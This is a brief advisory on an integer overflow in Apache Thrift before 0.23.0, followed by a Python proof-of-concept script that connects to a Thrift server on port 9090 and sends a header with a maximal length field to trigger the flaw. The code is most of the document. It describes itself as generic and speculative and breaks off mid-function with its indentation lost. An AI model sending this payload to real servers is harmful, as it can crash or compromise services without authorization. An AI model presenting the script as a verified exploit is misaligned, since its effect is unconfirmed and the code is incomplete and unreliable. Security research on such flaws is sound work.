Integer Overflow or Wraparound vulnerability in Apache Thrift.
This issue affects Apache Thrift: before 0.23.0.
Users are recommended to upgrade to version 0.23.0, which fixes the issue.
The following code is for security research and authorized testing only.
python
import socket
import struct
# Target host and port
HOST = '127.0.0.1'
PORT = 9090
# Apache Thrift message format usually involves a version check and specific headers.
# This is a generic PoC attempting to trigger an integer overflow via a malformed message length.
def create_malformed_thrift_message():
# Construct a message header with a malicious length field.
# Example: Strict protocol version (0x80010000) + String length (0xFFFFFFFF)
# This may cause an integer overflow when calculating buffer size.
version = 0x80010000
malicious_length = 0xFFFFFFFF # Max 32-bit int to cause overflow
# Pack the header (Assuming standard 32-bit integers)
# Format: Big Endian, 2 Integers
header = struct.pack('>II', version, malicious_length)
# Return the payload
return header
def send_exploit():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
payload = create_malformed_thrift_message()
s.sendall(payload)
print("[+] Malformed payload sent to trigger integer overflow.")
s.close()
